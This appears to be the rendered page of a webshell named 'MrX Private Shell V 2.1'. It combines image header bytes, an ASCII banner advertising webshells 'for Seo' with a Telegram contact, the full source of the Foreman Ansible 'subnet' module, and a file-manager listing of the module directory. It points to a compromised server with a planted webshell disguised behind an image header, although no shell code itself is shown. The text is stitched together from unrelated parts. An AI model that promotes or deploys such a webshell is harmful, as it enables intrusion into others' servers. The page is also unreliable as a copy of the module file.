����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
# (c) 2018 Baptiste AGASSE (baptiste.agasse@gmail.com)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from __future__ import absolute_import, division, print_function
__metaclass__ = type
DOCUMENTATION = '''
---
module: subnet
version_added: 1.0.0
short_description: Manage Subnets
description:
- Create, update, and delete Subnets
author:
- "Baptiste Agasse (@bagasse)"
requirements:
- ipaddress
options:
name:
description: Subnet name
required: true
type: str
description:
description: Description of the subnet
type: str
updated_name:
description: New subnet name. When this parameter is set, the module will not be idempotent.
type: str
network_type:
description: Subnet type
default: IPv4
choices: ["IPv4", "IPv6"]
type: str
dns_primary:
description: Primary DNS server for this subnet
required: false
type: str
dns_secondary:
description: Secondary DNS server for this subnet
required: false
type: str
domains:
description: List of DNS domains the subnet should assigned to
required: false
type: list
elements: str
gateway:
description: Subnet gateway IP address
required: false
type: str
network:
description: Subnet IP address
required: true
type: str
cidr:
description: CIDR prefix length; Required if I(network_type=IPv4) and no I(mask) provided
type: int
mask:
description: Subnet netmask. Required if I(network_type=IPv4) and no I(cidr) prefix length provided
type: str
from_ip:
description: First IP address of the host IP allocation pool
required: false
type: str
to_ip:
description: Last IP address of the host IP allocation pool
required: false
type: str
boot_mode:
description: Boot mode used by hosts in this subnet
required: false
default: DHCP
choices: ["DHCP", "Static"]
type: str
ipam:
description: IPAM mode for this subnet
required: false
default: DHCP
choices:
- "DHCP"
- "Internal DB"
- "Random DB"
- "EUI-64"
- "External IPAM"
- "None"
type: str
dhcp_proxy:
description: DHCP Smart proxy for this subnet
required: false
type: str
httpboot_proxy:
description: HTTP Boot Smart proxy for this subnet
required: false
type: str
tftp_proxy:
description: TFTP Smart proxy for this subnet
required: false
type: str
discovery_proxy:
description:
- Discovery Smart proxy for this subnet
- This option is only available if the discovery plugin is installed.
required: false
type: str
dns_proxy:
description: Reverse DNS Smart proxy for this subnet
required: false
type: str
template_proxy:
description: Template Smart proxy for this subnet
required: false
type: str
bmc_proxy:
description: BMC Smart proxy for this subnet
required: false
type: str
version_added: 2.1.0
remote_execution_proxies:
description:
- Remote execution Smart proxies for this subnet
- This option is only available if the remote_execution plugin is installed.
- This will always report I(changed=true) when used with I(remote_execution < 4.1.0), due to a bug in the plugin.
required: false
type: list
elements: str
externalipam_proxy:
description:
- External IPAM proxy for this subnet.
- Only relevant if I(ipam=External IPAM).
required: false
type: str
externalipam_group:
description:
- External IPAM group for this subnet.
- Only relevant if I(ipam=External IPAM).
version_added: 1.5.0
required: false
type: str
vlanid:
description: VLAN ID
required: false
type: int
mtu:
description: MTU
required: false
type: int
parameters:
description:
- Subnet specific host parameters
extends_documentation_fragment:
- theforeman.foreman.foreman
- theforeman.foreman.foreman.entity_state
- theforeman.foreman.foreman.taxonomy
- theforeman.foreman.foreman.nested_parameters
'''
EXAMPLES = '''
- name: My subnet
theforeman.foreman.subnet:
name: "My subnet"
description: "My description"
network: "192.168.0.0"
mask: "255.255.255.192"
gateway: "192.168.0.1"
from_ip: "192.168.0.2"
to_ip: "192.168.0.42"
boot_mode: "Static"
dhcp_proxy: "smart-proxy1.foo.example.com"
tftp_proxy: "smart-proxy1.foo.example.com"
dns_proxy: "smart-proxy2.foo.example.com"
template_proxy: "smart-proxy2.foo.example.com"
vlanid: 452
mtu: 9000
domains:
- "foo.example.com"
- "bar.example.com"
organizations:
- "Example Org"
locations:
- "Toulouse"
server_url: "https://foreman.example.com"
username: "admin"
password: "changeme"
state: present
'''
RETURN = '''
entity:
description: Final state of the affected entities grouped by their type.
returned: success
type: dict
contains:
subnets:
description: List of subnets.
type: list
elements: dict
'''
import traceback
from ansible_collections.theforeman.foreman.plugins.module_utils.foreman_helper import (
ForemanTaxonomicEntityAnsibleModule, ParametersMixin, missing_required_lib
)
try:
import ipaddress
HAS_IPADDRESS = True
IPADDRESS_IMP_ERR = None
except ImportError:
HAS_IPADDRESS = False
IPADDRESS_IMP_ERR = traceback.format_exc()
class ForemanSubnetModule(ParametersMixin, ForemanTaxonomicEntityAnsibleModule):
pass
def main():
module = ForemanSubnetModule(
argument_spec=dict(
updated_name=dict(),
),
foreman_spec=dict(
name=dict(required=True),
description=dict(),
network_type=dict(choices=['IPv4', 'IPv6'], default='IPv4'),
dns_primary=dict(),
dns_secondary=dict(),
domains=dict(type='entity_list'),
gateway=dict(),
network=dict(required=True),
cidr=dict(type='int'),
mask=dict(),
from_ip=dict(flat_name='from'),
to_ip=dict(flat_name='to'),
boot_mode=dict(choices=['DHCP', 'Static'], default='DHCP'),
ipam=dict(choices=['DHCP', 'Internal DB', 'Random DB', 'EUI-64', 'External IPAM', 'None'], default='DHCP'),
dhcp_proxy=dict(type='entity', flat_name='dhcp_id', resource_type='smart_proxies'),
httpboot_proxy=dict(type='entity', flat_name='httpboot_id', resource_type='smart_proxies'),
tftp_proxy=dict(type='entity', flat_name='tftp_id', resource_type='smart_proxies'),
discovery_proxy=dict(type='entity', flat_name='discovery_id', resource_type='smart_proxies'),
dns_proxy=dict(type='entity', flat_name='dns_id', resource_type='smart_proxies'),
template_proxy=dict(type='entity', flat_name='template_id', resource_type='smart_proxies'),
bmc_proxy=dict(type='entity', flat_name='bmc_id', resource_type='smart_proxies'),
remote_execution_proxies=dict(type='entity_list', resource_type='smart_proxies'),
externalipam_proxy=dict(type='entity', flat_name='externalipam_id', resource_type='smart_proxies'),
externalipam_group=dict(),
vlanid=dict(type='int'),
mtu=dict(type='int'),
),
required_plugins=[
('discovery', ['discovery_proxy']),
('remote_execution', ['remote_execution_proxies']),
],
)
if not HAS_IPADDRESS:
module.fail_json(msg=missing_required_lib("ipaddress"), exception=IPADDRESS_IMP_ERR)
module_params = module.foreman_params
if not module.desired_absent:
if module_params['network_type'] == 'IPv4':
if 'mask' not in module_params and 'cidr' not in module_params:
module.fail_json(msg='When specifying IPv4 networks, either "mask" or "cidr" is required.')
IPNetwork = ipaddress.IPv4Network
else:
IPNetwork = ipaddress.IPv6Network
if 'mask' in module_params and 'cidr' not in module_params:
module_params['cidr'] = IPNetwork(u'%s/%s' % (module_params['network'], module_params['mask'])).prefixlen
elif 'mask' not in module_params and 'cidr' in module_params:
module_params['mask'] = str(IPNetwork(u'%s/%s' % (module_params['network'], module_params['cidr'])).netmask)
with module.api_connection():
module.run()
if __name__ == '__main__':
main()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| activation_key.py | File | 16.46 KB | 0644 |
|
| architecture.py | File | 3.15 KB | 0644 |
|
| auth_source_ldap.py | File | 6.71 KB | 0644 |
|
| bookmark.py | File | 4.19 KB | 0644 |
|
| compute_attribute.py | File | 4.59 KB | 0644 |
|
| compute_profile.py | File | 7.7 KB | 0644 |
|
| compute_resource.py | File | 14.31 KB | 0644 |
|
| config_group.py | File | 2.48 KB | 0644 |
|
| content_credential.py | File | 2.62 KB | 0644 |
|
| content_export_info.py | File | 4.55 KB | 0644 |
|
| content_export_library.py | File | 3.59 KB | 0644 |
|
| content_export_repository.py | File | 3.28 KB | 0644 |
|
| content_export_version.py | File | 4.35 KB | 0644 |
|
| content_upload.py | File | 8.35 KB | 0644 |
|
| content_view.py | File | 11.42 KB | 0644 |
|
| content_view_filter.py | File | 10.21 KB | 0644 |
|
| content_view_filter_info.py | File | 2.36 KB | 0644 |
|
| content_view_filter_rule.py | File | 10.88 KB | 0644 |
|
| content_view_filter_rule_info.py | File | 2.81 KB | 0644 |
|
| content_view_info.py | File | 2.1 KB | 0644 |
|
| content_view_version.py | File | 10.81 KB | 0644 |
|
| content_view_version_info.py | File | 2.44 KB | 0644 |
|
| discovery_rule.py | File | 3.92 KB | 0644 |
|
| domain.py | File | 2.92 KB | 0644 |
|
| domain_info.py | File | 2.04 KB | 0644 |
|
| external_usergroup.py | File | 3.79 KB | 0644 |
|
| global_parameter.py | File | 4.9 KB | 0644 |
|
| hardware_model.py | File | 2.65 KB | 0644 |
|
| host.py | File | 18.48 KB | 0644 |
|
| host_collection.py | File | 2.6 KB | 0644 |
|
| host_errata_info.py | File | 3.32 KB | 0644 |
|
| host_info.py | File | 2.02 KB | 0644 |
|
| host_power.py | File | 4.16 KB | 0644 |
|
| hostgroup.py | File | 6.79 KB | 0644 |
|
| hostgroup_info.py | File | 2.09 KB | 0644 |
|
| http_proxy.py | File | 3.11 KB | 0644 |
|
| image.py | File | 3.93 KB | 0644 |
|
| installation_medium.py | File | 5.12 KB | 0644 |
|
| job_invocation.py | File | 6.65 KB | 0644 |
|
| job_template.py | File | 14.94 KB | 0644 |
|
| lifecycle_environment.py | File | 3.52 KB | 0644 |
|
| location.py | File | 4.09 KB | 0644 |
|
| operatingsystem.py | File | 7.33 KB | 0644 |
|
| organization.py | File | 3.19 KB | 0644 |
|
| organization_info.py | File | 2.13 KB | 0644 |
|
| os_default_template.py | File | 4.34 KB | 0644 |
|
| partition_table.py | File | 9.47 KB | 0644 |
|
| product.py | File | 4.04 KB | 0644 |
|
| provisioning_template.py | File | 11.04 KB | 0644 |
|
| puppet_environment.py | File | 2.29 KB | 0644 |
|
| puppetclasses_import.py | File | 3.93 KB | 0644 |
|
| realm.py | File | 2.59 KB | 0644 |
|
| redhat_manifest.py | File | 11.24 KB | 0644 |
|
| repository.py | File | 13.16 KB | 0644 |
|
| repository_info.py | File | 2.76 KB | 0644 |
|
| repository_set.py | File | 11.91 KB | 0644 |
|
| repository_set_info.py | File | 2.92 KB | 0644 |
|
| repository_sync.py | File | 2.52 KB | 0644 |
|
| resource_info.py | File | 4.99 KB | 0644 |
|
| role.py | File | 4.38 KB | 0644 |
|
| scap_content.py | File | 3.36 KB | 0644 |
|
| scap_tailoring_file.py | File | 3.44 KB | 0644 |
|
| scc_account.py | File | 5.67 KB | 0644 |
|
| scc_product.py | File | 3.64 KB | 0644 |
|
| setting.py | File | 3.56 KB | 0644 |
|
| setting_info.py | File | 2.03 KB | 0644 |
|
| smart_class_parameter.py | File | 10.45 KB | 0644 |
|
| smart_proxy.py | File | 6.02 KB | 0644 |
|
| snapshot.py | File | 5.07 KB | 0644 |
|
| snapshot_info.py | File | 2.47 KB | 0644 |
|
| status_info.py | File | 1.98 KB | 0644 |
|
| subnet.py | File | 8.91 KB | 0644 |
|
| subnet_info.py | File | 2.05 KB | 0644 |
|
| subscription_info.py | File | 2.22 KB | 0644 |
|
| subscription_manifest.py | File | 4.97 KB | 0644 |
|
| sync_plan.py | File | 5.86 KB | 0644 |
|
| templates_import.py | File | 6.1 KB | 0644 |
|
| user.py | File | 11.06 KB | 0644 |
|
| usergroup.py | File | 3.04 KB | 0644 |
|